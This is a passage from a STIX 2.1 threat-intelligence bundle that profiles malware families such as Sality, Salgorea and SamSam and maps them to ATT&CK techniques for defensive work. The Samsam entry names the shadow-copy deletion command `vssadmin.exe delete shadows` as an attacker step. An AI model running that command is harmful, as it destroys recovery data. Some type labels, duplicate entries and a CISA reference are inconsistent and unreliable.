      "description": "Sahat exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a5279be2-1a7b-5f6b-a289-4cc5006126a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c8042dee-6bc6-53e6-8730-7504a71dd2d3",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sahat exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--37a6a364-0469-5db3-a488-d49586cbf35f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c8042dee-6bc6-53e6-8730-7504a71dd2d3",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sahat exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c0994b77-6f12-5f9c-a561-55c78d1ddad0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sakto",
      "description": "<h3>Executive Summary</h3>\nSakto is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSakto is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Sakto operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Sakto ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Sakto receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Sakto infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Sakto executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Sakto frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Sakto",
        "Downloader.Sakto",
        "Win32/Sakto"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sakto",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sakto"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a6349ceb-2509-5358-a569-21ec96fafac1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0994b77-6f12-5f9c-a561-55c78d1ddad0",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sakto exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--26bcc1ce-9ea8-5b46-9483-b4fce9baebd8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0994b77-6f12-5f9c-a561-55c78d1ddad0",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sakto exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--62e543e2-7c22-5e97-8f69-eabec2b856a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0994b77-6f12-5f9c-a561-55c78d1ddad0",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sakto exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d162ab68-9f3f-544b-be1b-31016bf77b6b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Salgorea",
      "description": "Salgorea (cataloged across advanced threat intelligence reports as Backdoor.Win32.Salgorea, BadCake, and Trojan:Win32/Salgorea) is a sophisticated targeted cyber espionage backdoor active since 2014. Ground-truth research from cybersecurity firms including Kaspersky, Trend Micro, and Mandiant associates Salgorea with the advanced persistent threat group APT32 (also tracked as OceanLotus or SeaLotus). Deployed in targeted espionage operations against foreign government ministries, military institutions, dissidents, and critical infrastructure across Southeast Asia, Salgorea is delivered via weaponized Microsoft Office and PDF documents exploiting known vulnerabilities or delivered via self-extracting (SFX) archives. The malware relies extensively on DLL side-loading, utilizing a legitimate signed application to load its malicious dynamic-link library without triggering endpoint alerts. Once active, Salgorea establishes persistence via Registry Run keys and scheduled tasks, conducts extensive host reconnaissance, manipulates files and registry entries, executes arbitrary shellcode in memory, and connects to remote C2 infrastructure via encrypted channels to exfiltrate sensitive geopolitical intelligence. (Observed samples in benchmark: 135)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor.Win32.Salgorea",
        "BadCake",
        "Trojan:Win32/Salgorea",
        "APT32 Salgorea Backdoor",
        "OceanLotus Salgorea"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Salgorea",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/salgorea"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--34246796-51f4-561b-bbd6-ce0b3638ea94",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d162ab68-9f3f-544b-be1b-31016bf77b6b",
      "target_ref": "attack-pattern--a763b4e8-06c3-5399-9705-7b4f6eec4504",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Salgorea exhibits technique T1574.002 (Hijack Execution Flow: DLL Side-Loading)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--11aa2dd8-b963-501d-8bfe-304e61558d45",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d162ab68-9f3f-544b-be1b-31016bf77b6b",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Salgorea exhibits technique T1059.003 (Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--21ee87ba-72e5-5475-8cdc-24c5d88c0ca5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d162ab68-9f3f-544b-be1b-31016bf77b6b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Salgorea exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4501fa0a-6b31-5838-acbf-2893f5172fbb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d162ab68-9f3f-544b-be1b-31016bf77b6b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Salgorea exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--41c2efef-ff5d-5656-8836-f88973b2ccf3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d162ab68-9f3f-544b-be1b-31016bf77b6b",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Salgorea exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c7c4dba2-1388-52ab-97ad-848376b03646",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sality",
      "description": "Sality is one of the most durable, resilient, and historically significant polymorphic file infectors and botnets in cybersecurity history. First identified around 2003 in Russia, Sality evolved over two decades from a rudimentary PE file virus into an advanced, decentralized cybercrime utility used for distributed cryptocurrency mining, credential theft, spam proxying, and malware-as-a-service distribution.\n\nSality's extraordinary longevity stems from its polymorphic engine: every newly infected executable (.exe, .scr) is rewritten with unique junk code, register renaming, and randomized entry point obfuscation (EPO) to defeat static antivirus signatures. In 2011, Sality underwent a major architectural leap by abandoning centralized C2 servers in favor of a completely decentralized peer-to-peer (P2P) network communicating over UDP. Sality nodes exchange encrypted peer lists and cryptographically signed command packages directly with other infected endpoints, rendering traditional domain takedowns and sinkholes completely ineffective. (Observed samples in benchmark: 18,572)",
      "is_family": true,
      "malware_types": [
        "virus"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Sality",
        "win32.sality",
        "sality.ae",
        "sality.gen",
        "kuku",
        "sality_p2p"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sality",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sality"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "CISA Alert AA20-302A (Top Routinely Exploited Vulnerabilities)"
        }
      ],
      "labels": [
        "file_infector",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--396f7941-9fec-5f68-b4e7-7a48c32464f4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1027.001: Obfuscated Files or Information: Indicator Removal from Tools",
      "description": "MITRE ATT&CK Technique T1027.001 (Obfuscated Files or Information: Indicator Removal from Tools) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1027.001",
          "url": "https://attack.mitre.org/techniques/T1027/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--901a975f-babc-53f8-930a-0018a64422a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7c4dba2-1388-52ab-97ad-848376b03646",
      "target_ref": "attack-pattern--396f7941-9fec-5f68-b4e7-7a48c32464f4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sality exhibits technique T1027.001 (Obfuscated Files or Information: Indicator Removal from Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--629a9764-fa91-50ef-95b4-eea17fc78bbc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7c4dba2-1388-52ab-97ad-848376b03646",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sality exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5419ef09-8a9c-520c-b8b3-f46da4462562",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7c4dba2-1388-52ab-97ad-848376b03646",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sality exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--068841aa-a0f6-5c6a-9eef-0dcb83287583",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7c4dba2-1388-52ab-97ad-848376b03646",
      "target_ref": "attack-pattern--069ca590-96fe-5515-a26f-f3dd434418fd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sality exhibits technique T1090.001 (Proxy: Internal Proxy)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cabc1621-2980-5af8-bbfd-6f3066ed2451",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7c4dba2-1388-52ab-97ad-848376b03646",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sality exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--247e917a-b990-55e0-8e14-d8d2d53a88ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7c4dba2-1388-52ab-97ad-848376b03646",
      "target_ref": "attack-pattern--234da3df-9f9b-50d4-9775-e621938b35a3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sality exhibits technique T1080 (Taint Shared Content (Spreading via SMB shares))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aaff3a5f-28bc-518f-a0df-6ccc7c4ee295",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7c4dba2-1388-52ab-97ad-848376b03646",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sality exhibits technique T1091 (Replication Through Removable Media (The core propagation mechanism using autorun.inf))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0a5dd74f-f68d-5c74-9357-88827fc92c45",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Samas",
      "description": "Ransom:Win32/Samas (infamously known as **SamSam** or MSIL/Samas) is a highly destructive, targeted ransomware family that gained notoriety for crippling major hospitals and municipal governments (such as the City of Atlanta). Unlike opportunistic ransomware (like WannaCry or Locky) that rely on massive, automated spam campaigns or worms, SamSam is characterized by its **manual deployment**. Threat actors actively breach a specific target network, map the infrastructure, steal credentials, and then manually execute the SamSam payload across all critical servers simultaneously to maximize extortion leverage.<br><br><b>Understanding the SamSam Threat</b><br>To an organization, a SamSam attack is the culmination of a severe, prolonged security breach. The actors behind SamSam (often attributed to Iranian state-sponsored groups) meticulously choose their targets based on their ability to pay massive ransoms. Because the deployment is human-driven, they deliberately target database servers, backup servers, and domain controllers, ensuring the organization cannot easily recover.<br><br><b>Execution and Targeted Encryption Mechanics</b><br>The initial breach usually occurs via exploiting vulnerable public-facing servers (like JBoss) (`T1190`) or brute-forcing weak RDP credentials (`T1133`). Once inside, the attackers use tools like Mimikatz or Lazagne to dump Domain Admin credentials (`T1003`). They then use legitimate administrative tools like PsExec or WMI (`T1047`) to distribute the SamSam `.exe` across the network (`T1105`). When executed, SamSam utilizes strong RSA-2048 and AES-256 encryption (`T1486`), specifically targeting hundreds of file extensions associated with critical business data. It appends extensions like `.weapologize` or `.samas` and drops a ransom note instructing victims to visit a Tor hidden service.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a total halt of business operations and critical services. Host-based IoCs include EDR alerts for the execution of the SamSam binary (which is often heavily obfuscated .NET code) via `PsExec.exe`, and the mass renaming of files. The presence of the `HELP_DECRYPT_YOUR_FILES.html` ransom note is a definitive indicator. Network IoCs include anomalous lateral movement (SMB/RPC traffic) originating from a compromised internal server. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Samas",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/samas"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f92478d1-862b-5b2f-823c-af97f548a437",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a5dd74f-f68d-5c74-9357-88827fc92c45",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Samas exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9cf9cdeb-87cf-5ef6-88e3-40ef511e935c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a5dd74f-f68d-5c74-9357-88827fc92c45",
      "target_ref": "attack-pattern--1fcebc57-df32-5a76-a6b3-7f88fbefc45d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Samas exhibits technique T1133 (External Remote Services (Initial access via RDP))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d7c4a73-7072-51c4-934b-7fc428020695",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a5dd74f-f68d-5c74-9357-88827fc92c45",
      "target_ref": "attack-pattern--f7cefe4e-cadf-5280-927c-40d027c0f378",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Samas exhibits technique T1047 (Windows Management Instrumentation (Lateral movement))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--288e3d6c-7875-5658-b161-93fd2f082c16",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a5dd74f-f68d-5c74-9357-88827fc92c45",
      "target_ref": "attack-pattern--6864732d-cc77-514b-b3ff-9afd19b16e3c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Samas exhibits technique T1003 (OS Credential Dumping (To gain Domain Admin for deployment))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1097be49-caae-5029-afb0-634e405ee50b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Samca",
      "description": "Trojan:Win32/Samca is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Samca</b><br>To an end-user, a Samca infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Samca is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Samca is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Samca frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Samca reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Samca",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/samca"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f1545411-ef7b-51e6-9975-cd32025e260b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1097be49-caae-5029-afb0-634e405ee50b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Samca exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5d353410-8b71-5082-aca0-9b58f8a5913a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1097be49-caae-5029-afb0-634e405ee50b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Samca exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f399d236-421e-5d74-818c-1ec82a12f7af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1097be49-caae-5029-afb0-634e405ee50b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Samca exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--387c0082-a302-5faa-ba04-5c5ff9164f1c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1097be49-caae-5029-afb0-634e405ee50b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Samca exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5ce66505-2a39-5a50-a7fc-dc8082acda5c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1097be49-caae-5029-afb0-634e405ee50b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Samca exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c66e047f-c616-5db6-9b65-ba12c2db0991",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Samsam",
      "description": "Ransom:Win32/SamSam (also known as Samas) is a highly destructive, **Targeted Ransomware** family that gained infamy for crippling hospitals, municipalities, and large enterprises (most notably the City of Atlanta in 2018). Unlike traditional 'spray-and-pray' ransomware spread via mass phishing, SamSam is characterized by its *manual deployment*. Attackers breach the network, map the infrastructure, and deliberately execute the encryptor for maximum extortion impact.<br><br><b>Understanding SamSam (Targeted Ransomware)</b><br>To an end-user, the impact is catastrophic: servers and workstations are suddenly encrypted, appended with the `.weapologize` extension (or similar), and a ransom note (`PLEASE_READ_FOR_DECRYPT.txt`) demands massive cryptocurrency payments. For an incident response team, a SamSam infection means a human adversary has been actively roaming the network for days or weeks, escalating privileges and intentionally disabling backups before launching the final payload.<br><br><b>Execution and Manual Deployment Mechanics</b><br>The initial attack vector is almost never an email. Attackers typically exploit vulnerable, public-facing infrastructure, most commonly brute-forcing or exploiting unpatched Remote Desktop Protocol (RDP) servers or vulnerable JBoss application servers (`T1190`, `T1133`). Once inside, they use legitimate tools (like Mimikatz and PsExec) to harvest domain admin credentials (`T1003.001`) and move laterally (`T1569.002`). The attackers then manually copy the SamSam encryptor binary to critical servers and workstations. They often use batch scripts to systematically delete Volume Shadow Copies (`vssadmin.exe delete shadows`) (`T1490`) and then manually execute the SamSam payload using an RSA-2048/AES-256 hybrid encryption scheme (`T1486`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total operational paralysis and severe financial loss. Host-based IoCs include the presence of the SamSam executable (often named `sysname.exe` or `svchost.exe` running from odd locations), the execution of `vssadmin` or `bcdedit` commands just prior to encryption, and the specific `.weapologize` or `.samsam` file extensions. Network IoCs include a massive spike in internal RDP traffic and SMB file transfers (PsExec) leading up to the event, as the attacker manually distributes the payload. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Samsam",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/samsam"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--29f4386f-0735-5774-98ed-30c5a0d171ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c66e047f-c616-5db6-9b65-ba12c2db0991",
      "target_ref": "attack-pattern--1fcebc57-df32-5a76-a6b3-7f88fbefc45d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Samsam exhibits technique T1133 (External Remote Services (Initial access via RDP))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b628f13f-934b-5ed3-9b28-b272ea94e5a1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c66e047f-c616-5db6-9b65-ba12c2db0991",
      "target_ref": "attack-pattern--48fff4f5-81fe-501f-a217-61aa95f17bee",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Samsam exhibits technique T1569.002 (System Services: Service Execution (Lateral movement via PsExec))."
    },
    {
      "type": "relationship",
